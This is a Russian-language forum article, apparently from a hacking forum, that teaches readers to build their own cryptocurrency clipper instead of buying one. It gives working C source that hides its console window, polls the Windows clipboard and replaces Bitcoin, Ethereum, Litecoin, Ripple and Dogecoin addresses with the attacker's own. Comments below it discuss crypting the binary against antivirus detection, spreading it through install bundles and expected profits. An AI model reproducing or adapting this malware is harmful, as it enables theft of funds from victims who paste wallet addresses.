Загрузка...
Author's article Clipper in 30 minutes or why you should not buy clippers
  1. jgsjagejwgjwf
    Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
    На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
    По словам ТС, клиппер написан на C++ с использованием STL.
    [IMG] 

    [IMG] 
    Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
    Для начала:

    Как устроен клиппер

    Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
    По этому описанию накидываем схему работы:
    [IMG] 
    Выглядит достаточно просто. Разбираем каждый блок -
    Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
    Как же проверять, является ли текст адресом?
    Ответ - регулярные выражения (regex). Что это?
    Википедия: 
    Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеровангл. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
    Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
    Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
    Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

    Написание клиппера

    Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
    Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

    Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

    Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
    Code
    #include "re.h"
    #include <windows.h>
    #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
    Пишем функции для получения и подмены буфера обмена:

    Code
    char* getclipboard()
    {
        static HANDLE clip;
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }
        return (char*)clip;
    }

    void setclipboard(char* text)
    {
        HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
        memcpy(global, text, strlen(text));
        if (OpenClipboard(NULL))
        {
            EmptyClipboard();
            SetClipboardData(CF_TEXT, global);
            CloseClipboard();
        }
    }
    Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).

    Code
    typedef struct crypto {
        char* ptn;
        char* address;
    };
    Основная функция main. Создаем в ней переменные с нашими кошельками:

    Code
    const char* btcadr = "";
        const char* segwitadr = "";
        const char* ethadr = "";
        const char* ltcadr = "";
        const char* xrpadr = "";
        const char* dogeadr = "";
    Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
    У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

    Code
        struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$",                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
        struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$",                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
        struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$",                        .address = ethadr };
        struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$",            .address = ltcadr };
        struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$",                            .address = xrpadr };
        struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$",    .address = dogeadr };


        struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
    В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
    Основной цикл:

    Code
        while (1) {
            char* clipdata = getclipboard(); // получение буфера обмена
            if (clipdata != NULL) { // если в буфере что-то есть
                for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                    int matchlen;
                    int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                    if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                        setclipboard(all[i].address);
                    }
                }
            }
            Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
        }
    В комментариях прописал, за что отвечает каждая команда.

    На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
    Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
    Исходники - тык

    Итоги
    Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
    С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
    Спасибо за прочтение.
     

Comments

    1. RadeonRX
      RadeonRX Dec 11, 2021 AMD 606 Dec 3, 2019
    2. FSFS_inactive4163851
      FSFS_inactive4163851 Dec 11, 2021 Banned 16 May 10, 2021
    3. soarer
      тот самый @Allcome - Зачем ты ему показал :angry:
       
    4. staffle
      staffle Dec 11, 2021 Banned 10 Sep 25, 2021
      Годненько
       
    5. HideCode
      HideCode Dec 12, 2021 Banned 214 Dec 5, 2021
      то чувство, когда знаешь что такое регулярные выражения, но незнаешь что такое STL

      это либа?
       
      1. backdoortp
        HideCode, standard template library - проще говоря, это динамическая библиотека для плюсов, которая при запуске программы вызывается из системы, на которой происходит запуск. она и дает команды по типу memcpy, memset etc
    6. Alibaba_Shop
      Alibaba_Shop Dec 12, 2021 16,630 Jul 31, 2020
      Ну вот, а мне ещё куратор доказывал что в Статьях реклама запрещена.
       
      1. View previous comments (5)
      2. Alibaba_Shop
        @backdoortp, я высказал свое мнение выше. если ты не понял что там написано, то я уже не смогу понятнее тебе объяснить.
      3. Alibaba_Shop
        @backdoortp, я допускаю что могу ошибаться и целью статьи не была реклама проекта. Но в последнее время на главной каждая статья начинается с рекламы. Ты можешь сам просмотреть несколько последних статей и убедится в этом. Именно исходя из этого факта, а так же из нахождения ссылки на коммерческий продукт в начале статьи я и решил что это реклама.
      4. View the next comments (1)
    7. cashsharing
      засейвил деньги
       
    8. unnamed001
      unnamed001 Dec 12, 2021 5996 Sep 2, 2020
      А почему не с++ и не стд регекс? С с++20 они вроде как хорошо импрувнулись
      а ещё переменная address зарезервирована компилятором
       
      1. View previous comments (1)
      2. backdoortp
        unnamed001, просто не люблю плюсы. так то можно и на них сделать спокойно
      3. backdoortp
        unnamed001, переменная адреса зарезервирована компилятором, так как не изменяется во время работы:emm:
      4. unnamed001
        @backdoortp, не компилятором, а в одном из файлов винапи*
    9. 9mice
      статейка годная, но не будем забывать, что малвари вызывают столбняк, + лучевую болезнь, + ангидроз, + вибриоз, + аденоиды, + уритринт, + кандидоз, + ротовирусная инфекция, + аутизм, + эпахондрия, + нейродирмит, + эвроглифоз, + парадантоз, + укачивание, + тахикардия, + инсульт, + невроз, + хламидиоз, + угри, + йодонедостаточность, + ожирение
       
      1. backdoortp
        9mice, это все вызывает программирование в целом
    10. Morhin
      Morhin Dec 12, 2021 123 19,497 Mar 24, 2020
      Бля, ну жёско жёско рассказал
       
    11. Morendi
      Morendi Dec 12, 2021 Регай домены в ТГ БОТЕ - https://t.me/OneDomainBot 1318 Nov 1, 2020
      все стоит покупать, покупайте и не читайте эти бесполезные темы
       
      1. Aspr0d
        Morendi, @Allcome разлогинься :finger_up:
    12. Agent009_inactive4741639
      Спасибо большое за полезную информацию.
       
    13. HoBzY
      HoBzY Dec 12, 2021 2 May 14, 2021
      Аналогичное можно написать на python-e)
       
      1. View previous comments (4)
      2. HoBzY
      3. backdoortp
        HoBzY, слил на вт - умножай детект на 2, вес файла при этом 30 мб + антивирусы приколы в пайках первым делом читают, поэтому хуй закриптуешь нормально + рантайм дрисня будет
      4. aChanKiller
        HoBzY, стилак на пайтоне,мне кажется у тебя с интеллектом явные проблемы.
    14. yanmeth
      yanmeth Dec 12, 2021 Banned 5 Dec 10, 2021
      объяснил все понятным языком +реп
       
    15. Clifeal
      Clifeal Dec 12, 2021 Banned 23 Dec 5, 2021
      А есть статистика у кого? Часто переводят по ошибке через клиппер?
       
      1. CoderVir
        Clifeal, поверь мне, да. Пролей хорошо закриптованый клипер мб на 5к микса и по любе профиты будут. Просто полюбе.
      2. backdoortp
        @CoderVir, 5к можно разного пролить, с 5к микса с биржи тебе дай бог баксов 5 залетит
    16. MavrodiS
      MavrodiS Dec 13, 2021 Banned 17 Nov 20, 2021
      автор статья лучший спасибо тебе
       
    17. Prodota
      Prodota Dec 13, 2021 Banned 6883 Oct 23, 2020
      good like
       
    18. gleb0
      gleb0 Dec 13, 2021 С подключением, User Name! 277 Dec 13, 2019
      Автор красавчиГ!
       
    19. Crakers
      Crakers Dec 13, 2021 Живой 371 Jun 7, 2020
      Пруф жеский
       
    20. Keek_patay
      Keek_patay Dec 13, 2021 6 Sep 18, 2020
Loading...
Top